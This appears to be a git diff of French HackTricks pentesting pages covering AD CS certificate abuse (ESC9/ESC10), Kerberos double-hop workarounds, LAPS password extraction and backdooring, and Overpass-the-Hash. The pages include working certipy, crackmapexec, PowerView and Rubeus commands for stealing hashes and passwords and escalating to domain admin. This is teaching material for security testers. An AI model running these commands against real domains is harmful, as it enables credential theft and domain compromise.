La propriété `msPKI-Enrollment-Servers` est utilisée par les autorités de certification d'entreprise (CAs) pour stocker les points de terminaison du service d'inscription de certificat (CES). Ces points de terminaison peuvent être analysés et répertoriés en utilisant l'outil **Certutil.exe**:
|
||||
La propriété `msPKI-Enrollment-Servers` est utilisée par les autorités de certification d'entreprise (CAs) pour stocker les points de terminaison du service d'inscription de certificats (CES). Ces points de terminaison peuvent être analysés et répertoriés en utilisant l'outil **Certutil.exe**:
|
||||
```
|
||||
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
|
||||
```
|
||||
|
@ -396,7 +400,7 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
|
|||
```
|
||||
#### Abus avec [Certipy](https://github.com/ly4k/Certipy)
|
||||
|
||||
La demande de certificat est effectuée par Certipy par défaut en fonction du modèle `Machine` ou `User`, déterminé par la fin du nom du compte en `$`. La spécification d'un modèle alternatif peut être réalisée en utilisant le paramètre `-template`.
|
||||
La demande de certificat est effectuée par Certipy par défaut en fonction du modèle `Machine` ou `User`, déterminé par le fait que le nom du compte relayé se termine par `$`. La spécification d'un modèle alternatif peut être réalisée en utilisant le paramètre `-template`.
|
||||
|
||||
Une technique comme [PetitPotam](https://github.com/ly4k/PetitPotam) peut ensuite être utilisée pour forcer l'authentification. Lorsqu'il s'agit de contrôleurs de domaine, la spécification de `-template DomainController` est requise.
|
||||
```bash
|
||||
|
@ -411,7 +415,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
|||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
[*] Exiting...
|
||||
```
|
||||
## Pas d'extension de sécurité - ESC9 <a href="#id-5485" id="id-5485"></a>
|
||||
## Aucune extension de sécurité - ESC9 <a href="#id-5485" id="id-5485"></a>
|
||||
|
||||
### Explication
|
||||
|
||||
|
@ -420,13 +424,13 @@ La nouvelle valeur **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) pour **`msPKI
|
|||
Les conditions dans lesquelles le réglage de ce drapeau devient significatif incluent :
|
||||
|
||||
- `StrongCertificateBindingEnforcement` n'est pas ajusté à `2` (le paramètre par défaut étant `1`), ou `CertificateMappingMethods` inclut le drapeau `UPN`.
|
||||
- Le certificat est marqué avec le drapeau `CT_FLAG_NO_SECURITY_EXTENSION` dans le réglage de `msPKI-Enrollment-Flag`.
|
||||
- Le certificat est marqué avec le drapeau `CT_FLAG_NO_SECURITY_EXTENSION` dans le réglage `msPKI-Enrollment-Flag`.
|
||||
- Une EKU d'authentification client est spécifiée par le certificat.
|
||||
- Les autorisations `GenericWrite` sont disponibles sur n'importe quel compte pour compromettre un autre.
|
||||
- Des autorisations `GenericWrite` sont disponibles sur n'importe quel compte pour compromettre un autre.
|
||||
|
||||
### Scénario d'abus
|
||||
|
||||
Supposons que `John@corp.local` détient les autorisations `GenericWrite` sur `Jane@corp.local`, dans le but de compromettre `Administrator@corp.local`. Le modèle de certificat `ESC9`, pour lequel `Jane@corp.local` est autorisé à s'inscrire, est configuré avec le drapeau `CT_FLAG_NO_SECURITY_EXTENSION` dans son réglage de `msPKI-Enrollment-Flag`.
|
||||
Supposons que `John@corp.local` détient des autorisations `GenericWrite` sur `Jane@corp.local`, dans le but de compromettre `Administrator@corp.local`. Le modèle de certificat `ESC9`, dans lequel `Jane@corp.local` est autorisée à s'inscrire, est configuré avec le drapeau `CT_FLAG_NO_SECURITY_EXTENSION` dans son réglage `msPKI-Enrollment-Flag`.
|
||||
|
||||
Initialement, le hachage de `Jane` est acquis en utilisant les informations d'identification Shadow, grâce à `GenericWrite` de `John` :
|
||||
```bash
|
||||
|
@ -442,17 +446,17 @@ Suite à cela, le modèle de certificat `ESC9`, marqué comme vulnérable, est d
|
|||
```bash
|
||||
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
|
||||
```
|
||||
Il est noté que le `userPrincipalName` du certificat reflète `Administrator`, sans aucun "object SID".
|
||||
Il est noté que le `userPrincipalName` du certificat reflète `Administrateur`, sans aucun "SID d'objet".
|
||||
|
||||
Le `userPrincipalName` de `Jane` est ensuite rétabli à son original, `Jane@corp.local`:
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||
```
|
||||
En tentant l'authentification avec le certificat émis, on obtient maintenant le hachage NT de `Administrator@corp.local`. La commande doit inclure `-domain <domain>` en raison du manque de spécification de domaine du certificat:
|
||||
En tentant l'authentification avec le certificat émis, on obtient maintenant le hachage NT de `Administrator@corp.local`. La commande doit inclure `-domain <domain>` en raison du manque de spécification de domaine du certificat :
|
||||
```bash
|
||||
certipy auth -pfx adminitrator.pfx -domain corp.local
|
||||
```
|
||||
## Faibles mappages de certificats - ESC10
|
||||
## Faibles Mappages de Certificats - ESC10
|
||||
|
||||
### Explication
|
||||
|
||||
|
@ -469,17 +473,17 @@ Lorsque `StrongCertificateBindingEnforcement` est configuré comme `0`.
|
|||
|
||||
Si `CertificateMappingMethods` inclut le bit `UPN` (`0x4`).
|
||||
|
||||
### Cas d'abus 1
|
||||
### Cas d'Abus 1
|
||||
|
||||
Avec `StrongCertificateBindingEnforcement` configuré comme `0`, un compte A avec des autorisations `GenericWrite` peut être exploité pour compromettre n'importe quel compte B.
|
||||
Avec `StrongCertificateBindingEnforcement` configuré comme `0`, un compte A avec des permissions `GenericWrite` peut être exploité pour compromettre n'importe quel compte B.
|
||||
|
||||
Par exemple, en ayant des autorisations `GenericWrite` sur `Jane@corp.local`, un attaquant vise à compromettre `Administrator@corp.local`. La procédure reflète ESC9, permettant à n'importe quel modèle de certificat d'être utilisé.
|
||||
Par exemple, en ayant des permissions `GenericWrite` sur `Jane@corp.local`, un attaquant vise à compromettre `Administrator@corp.local`. La procédure reflète ESC9, permettant à n'importe quel modèle de certificat d'être utilisé.
|
||||
|
||||
Initialement, le hachage de `Jane` est récupéré en utilisant les informations d'identification Shadow, exploitant le `GenericWrite`.
|
||||
Initialement, le hachage de `Jane` est récupéré en utilisant les Informations d'Identification de l'Ombre, exploitant le `GenericWrite`.
|
||||
```bash
|
||||
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
|
||||
```
|
||||
Ensuite, le `userPrincipalName` de `Jane` est modifié en `Administrateur`, en omettant délibérément la partie `@corp.local` pour éviter une violation de contrainte.
|
||||
Ensuite, le `userPrincipalName` de `Jane` est modifié en `Administrator`, en omettant délibérément la partie `@corp.local` pour éviter une violation de contrainte.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
|
@ -503,7 +507,7 @@ Ici, l'objectif est de compromettre `DC$@corp.local`, en commençant par obtenir
|
|||
```bash
|
||||
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
|
||||
```
|
||||
`userPrincipalName` de `Jane` est ensuite défini sur `DC$@corp.local`.
|
||||
`Jane`'s `userPrincipalName` est ensuite défini sur `DC$@corp.local`.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
|
||||
```
|
||||
|
@ -529,11 +533,29 @@ Cette vulnérabilité s'étend également à tout compte utilisateur ne disposan
|
|||
|
||||
### Rupture des confiances inter-forêts par des AC compromis
|
||||
|
||||
La configuration de **l'inscription inter-forêts** est relativement simple. Le **certificat de l'AC racine** de la forêt de ressources est **publié aux forêts de compte** par les administrateurs, et les **certificats de l'AC d'entreprise** de la forêt de ressources sont **ajoutés aux conteneurs `NTAuthCertificates` et AIA dans chaque forêt de compte**. Pour clarifier, cet arrangement accorde à **l'AC de la forêt de ressources un contrôle complet** sur toutes les autres forêts qu'elle gère en matière de PKI. Si cette AC est **compromise par des attaquants**, des certificats pour tous les utilisateurs des forêts de ressources et de compte pourraient être **contrefaits par eux**, rompant ainsi la frontière de sécurité de la forêt.
|
||||
La configuration de **l'inscription inter-forêts** est relativement simple. Le **certificat de l'AC racine** de la forêt de ressources est **publié aux forêts de comptes** par les administrateurs, et les **certificats de l'AC d'entreprise** de la forêt de ressources sont **ajoutés aux conteneurs `NTAuthCertificates` et AIA dans chaque forêt de comptes**. Pour clarifier, cet arrangement accorde à **l'AC de la forêt de ressources un contrôle complet** sur toutes les autres forêts qu'elle gère en matière de PKI. Si cet AC est **compromis par des attaquants**, des certificats pour tous les utilisateurs des forêts de ressources et de comptes pourraient être **contrefaits par eux**, rompant ainsi la frontière de sécurité de la forêt.
|
||||
|
||||
### Privilèges d'inscription accordés aux principaux étrangers
|
||||
### Privilèges d'inscription accordés à des principaux étrangers
|
||||
|
||||
Dans les environnements multi-forêts, il convient de faire preuve de prudence concernant les AC d'entreprise qui **publient des modèles de certificat** permettant aux **Utilisateurs Authentifiés ou aux principaux étrangers** (utilisateurs/groupes externes à la forêt à laquelle l'AC d'entreprise appartient) **des droits d'inscription et de modification**.\
|
||||
Lors de l'authentification à travers une confiance, le **SID des Utilisateurs Authentifiés** est ajouté au jeton de l'utilisateur par AD. Ainsi, si un domaine possède une AC d'entreprise avec un modèle qui **autorise les droits d'inscription des Utilisateurs Authentifiés**, un modèle pourrait potentiellement être **inscrit par un utilisateur d'une forêt différente**. De même, si **les droits d'inscription sont explicitement accordés à un principal étranger par un modèle**, une **relation de contrôle d'accès inter-forêts est ainsi créée**, permettant à un principal d'une forêt de **s'inscrire à un modèle d'une autre forêt**.
|
||||
Dans les environnements multi-forêts, il convient de faire preuve de prudence concernant les AC d'entreprise qui **publient des modèles de certificat** permettant aux **Utilisateurs Authentifiés ou aux principaux étrangers** (utilisateurs/groupes externes à la forêt à laquelle l'AC d'entreprise appartient) **d'avoir des droits d'inscription et de modification**.\
|
||||
Lors de l'authentification à travers une confiance, le **SID des Utilisateurs Authentifiés** est ajouté au jeton de l'utilisateur par AD. Ainsi, si un domaine possède un AC d'entreprise avec un modèle qui **autorise les droits d'inscription des Utilisateurs Authentifiés**, un utilisateur d'une forêt différente pourrait potentiellement **s'inscrire à un modèle**. De même, si **des droits d'inscription sont explicitement accordés à un principal étranger par un modèle**, une **relation de contrôle d'accès inter-forêts est ainsi créée**, permettant à un principal d'une forêt de **s'inscrire à un modèle d'une autre forêt**.
|
||||
|
||||
Ces deux scénarios entraînent une **augmentation de la surface d'attaque** d'une forêt à une autre. Les paramètres du modèle de certificat pourraient être exploités par un attaquant pour obtenir des privilèges supplémentaires dans un domaine étranger.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous souhaitez voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -12,18 +12,22 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Introduction
|
||||
|
||||
Le problème du "double saut" Kerberos survient lorsqu'un attaquant tente d'utiliser **l'authentification Kerberos à travers deux** **sauts**, par exemple en utilisant **PowerShell**/**WinRM**.
|
||||
Le problème du "double saut" Kerberos survient lorsqu'un attaquant tente d'utiliser **l'authentification Kerberos sur deux** **sauts**, par exemple en utilisant **PowerShell**/**WinRM**.
|
||||
|
||||
Lorsqu'une **authentification** se produit via **Kerberos**, les **informations d'identification** ne sont pas mises en cache en **mémoire**. Par conséquent, si vous exécutez mimikatz, vous ne trouverez pas les informations d'identification de l'utilisateur sur la machine même s'il exécute des processus.
|
||||
|
||||
Cela est dû au fait que lors de la connexion avec Kerberos, les étapes suivantes sont suivies :
|
||||
|
||||
1. L'utilisateur fournit des informations d'identification et le **contrôleur de domaine** renvoie un **TGT** Kerberos à l'utilisateur.
|
||||
2. L'utilisateur utilise le **TGT** pour demander un **ticket de service** pour se **connecter** au Serveur1.
|
||||
3. L'utilisateur se **connecte** au **Serveur1** et fournit le **ticket de service**.
|
||||
4. Le **Serveur1** n'a pas les **informations d'identification** de l'utilisateur en cache ni le **TGT** de l'utilisateur. Par conséquent, lorsque l'utilisateur de Serveur1 tente de se connecter à un deuxième serveur, il **ne peut pas s'authentifier**.
|
||||
1. L'utilisateur 1 fournit des informations d'identification et le **contrôleur de domaine** renvoie un **TGT** Kerberos à l'utilisateur 1.
|
||||
2. L'utilisateur 1 utilise le **TGT** pour demander un **ticket de service** pour se **connecter** au Serveur 1.
|
||||
3. L'utilisateur 1 se **connecte** au **Serveur 1** et fournit le **ticket de service**.
|
||||
4. Le **Serveur 1** n'a pas les **informations d'identification** de l'utilisateur 1 en cache ni le **TGT** de l'utilisateur 1. Par conséquent, lorsque l'utilisateur 1 du Serveur 1 tente de se connecter à un deuxième serveur, il **ne peut pas s'authentifier**.
|
||||
|
||||
### Délégation non contrainte
|
||||
|
||||
|
@ -53,9 +57,9 @@ Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
|
|||
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
|
||||
}
|
||||
```
|
||||
### Enregistrement de la configuration de la session PSSession
|
||||
### Enregistrement de la configuration de la session PS
|
||||
|
||||
Une solution pour contourner le problème du double saut implique l'utilisation de `Register-PSSessionConfiguration` avec `Enter-PSSession`. Cette méthode nécessite une approche différente de celle d'`evil-winrm` et permet une session qui ne souffre pas de la limitation du double saut.
|
||||
Une solution pour contourner le problème du double saut consiste à utiliser `Register-PSSessionConfiguration` avec `Enter-PSSession`. Cette méthode nécessite une approche différente de celle d'`evil-winrm` et permet une session qui ne souffre pas de la limitation du double saut.
|
||||
```powershell
|
||||
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
|
||||
Restart-Service WinRM
|
||||
|
@ -64,7 +68,7 @@ klist
|
|||
```
|
||||
### PortForwarding
|
||||
|
||||
Pour les administrateurs locaux sur une cible intermédiaire, le port forwarding permet d'envoyer des requêtes vers un serveur final. En utilisant `netsh`, une règle peut être ajoutée pour le port forwarding, ainsi qu'une règle de pare-feu Windows pour autoriser le port redirigé.
|
||||
Pour les administrateurs locaux sur une cible intermédiaire, le port forwarding permet d'envoyer des requêtes à un serveur final. En utilisant `netsh`, une règle peut être ajoutée pour le port forwarding, ainsi qu'une règle de pare-feu Windows pour autoriser le port redirigé.
|
||||
```bash
|
||||
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
|
||||
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
|
||||
|
@ -85,7 +89,7 @@ L'installation d'OpenSSH sur le premier serveur permet de contourner le problèm
|
|||
2. Décompressez et exécutez le script `Install-sshd.ps1`.
|
||||
3. Ajoutez une règle de pare-feu pour ouvrir le port 22 et vérifiez que les services SSH sont en cours d'exécution.
|
||||
|
||||
Pour résoudre les erreurs de `Réinitialisation de la connexion`, les autorisations peuvent nécessiter une mise à jour pour permettre à tout le monde d'avoir un accès en lecture et en exécution sur le répertoire OpenSSH.
|
||||
Pour résoudre les erreurs de `réinitialisation de connexion`, les autorisations peuvent nécessiter une mise à jour pour permettre à tout le monde d'avoir un accès en lecture et en exécution sur le répertoire OpenSSH.
|
||||
```bash
|
||||
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
||||
```
|
||||
|
@ -96,12 +100,16 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
|||
* [https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting](https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting)
|
||||
* [https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/](https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -12,11 +12,16 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Informations de base
|
||||
|
||||
Local Administrator Password Solution (LAPS) est un outil utilisé pour gérer un système où les **mots de passe administrateur**, qui sont **uniques, aléatoires et fréquemment modifiés**, sont appliqués aux ordinateurs joints à un domaine. Ces mots de passe sont stockés de manière sécurisée dans Active Directory et ne sont accessibles qu'aux utilisateurs ayant reçu l'autorisation via des listes de contrôle d'accès (ACL). La sécurité des transmissions de mots de passe du client vers le serveur est assurée par l'utilisation de **Kerberos version 5** et du **Standard de Cryptage Avancé (AES)**.
|
||||
Local Administrator Password Solution (LAPS) est un outil utilisé pour gérer un système où les **mots de passe administrateur**, qui sont **uniques, aléatoires et fréquemment modifiés**, sont appliqués aux ordinateurs joints au domaine. Ces mots de passe sont stockés de manière sécurisée dans Active Directory et ne sont accessibles qu'aux utilisateurs ayant reçu l'autorisation via des listes de contrôle d'accès (ACL). La sécurité des transmissions de mot de passe du client vers le serveur est assurée par l'utilisation de **Kerberos version 5** et du **Standard de Cryptage Avancé (AES)**.
|
||||
|
||||
Dans les objets informatiques du domaine, la mise en œuvre de LAPS entraîne l'ajout de deux nouveaux attributs : **`ms-mcs-AdmPwd`** et **`ms-mcs-AdmPwdExpirationTime`**. Ces attributs stockent respectivement le **mot de passe administrateur en texte clair** et **son heure d'expiration**.
|
||||
Dans les objets informatiques du domaine, la mise en œuvre de LAPS se traduit par l'ajout de deux nouveaux attributs : **`ms-mcs-AdmPwd`** et **`ms-mcs-AdmPwdExpirationTime`**. Ces attributs stockent respectivement le **mot de passe administrateur en texte clair** et **son heure d'expiration**.
|
||||
|
||||
### Vérifier s'il est activé
|
||||
```bash
|
||||
|
@ -66,7 +71,7 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
|
|||
```
|
||||
### LAPSToolkit
|
||||
|
||||
Le [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) facilite l'énumération des LAPS avec plusieurs fonctions.\
|
||||
Le [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) facilite l'énumération de LAPS avec plusieurs fonctions.\
|
||||
L'une d'entre elles est l'analyse des **`ExtendedRights`** pour **tous les ordinateurs avec LAPS activé.** Cela montrera les **groupes** spécifiquement **délégués pour lire les mots de passe LAPS**, qui sont souvent des utilisateurs dans des groupes protégés.\
|
||||
Un **compte** qui a **rejoint un ordinateur** à un domaine reçoit `Tous les droits étendus` sur cet hôte, et ce droit donne au **compte** la capacité de **lire les mots de passe**. L'énumération peut montrer un compte utilisateur qui peut lire le mot de passe LAPS sur un hôte. Cela peut nous aider à **cibler des utilisateurs AD spécifiques** qui peuvent lire les mots de passe LAPS.
|
||||
```powershell
|
||||
|
@ -93,7 +98,7 @@ ComputerName Password Expiration
|
|||
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
|
||||
```
|
||||
## **Extraction des mots de passe LAPS avec Crackmapexec**
|
||||
S'il n'y a pas d'accès à un powershell, vous pouvez abuser de ce privilège à distance via LDAP en utilisant
|
||||
Si vous n'avez pas accès à PowerShell, vous pouvez abuser de ce privilège à distance via LDAP en utilisant
|
||||
```
|
||||
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
|
||||
```
|
||||
|
@ -111,7 +116,7 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
|
|||
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Le mot de passe sera toujours réinitialisé si un **administrateur** utilise la cmdlet **`Reset-AdmPwdPassword`**; ou si **Ne pas autoriser un temps d'expiration de mot de passe plus long que celui requis par la stratégie** est activé dans le GPO LAPS.
|
||||
Le mot de passe sera toujours réinitialisé si un **administrateur** utilise la cmdlet **`Reset-AdmPwdPassword`** ; ou si **Ne pas autoriser un temps d'expiration de mot de passe plus long que celui requis par la stratégie** est activé dans le GPO LAPS.
|
||||
{% endhint %}
|
||||
|
||||
### Backdoor
|
||||
|
@ -123,12 +128,16 @@ Ensuite, il suffit de compiler le nouveau `AdmPwd.PS.dll` et de le téléverser
|
|||
## Références
|
||||
* [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -12,11 +12,16 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Overpass The Hash/Pass The Key (PTK)
|
||||
|
||||
L'attaque **Overpass The Hash/Pass The Key (PTK)** est conçue pour les environnements où le protocole NTLM traditionnel est restreint et où l'authentification Kerberos prend le dessus. Cette attaque exploite le hachage NTLM ou les clés AES d'un utilisateur pour solliciter des tickets Kerberos, permettant un accès non autorisé aux ressources au sein d'un réseau.
|
||||
|
||||
Pour exécuter cette attaque, la première étape consiste à acquérir le hachage NTLM ou le mot de passe du compte de l'utilisateur ciblé. Après avoir sécurisé ces informations, un Ticket Granting Ticket (TGT) pour le compte peut être obtenu, permettant à l'attaquant d'accéder aux services ou aux machines auxquels l'utilisateur a des autorisations.
|
||||
Pour exécuter cette attaque, la première étape consiste à acquérir le hachage NTLM ou le mot de passe du compte de l'utilisateur ciblé. Après avoir sécurisé ces informations, un Ticket Granting Ticket (TGT) pour le compte peut être obtenu, permettant à l'attaquant d'accéder aux services ou machines auxquels l'utilisateur a des autorisations.
|
||||
|
||||
Le processus peut être initié avec les commandes suivantes:
|
||||
```bash
|
||||
|
@ -33,9 +38,9 @@ Une séquence de commandes alternative utilisant Rubeus.exe démontre un autre a
|
|||
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
|
||||
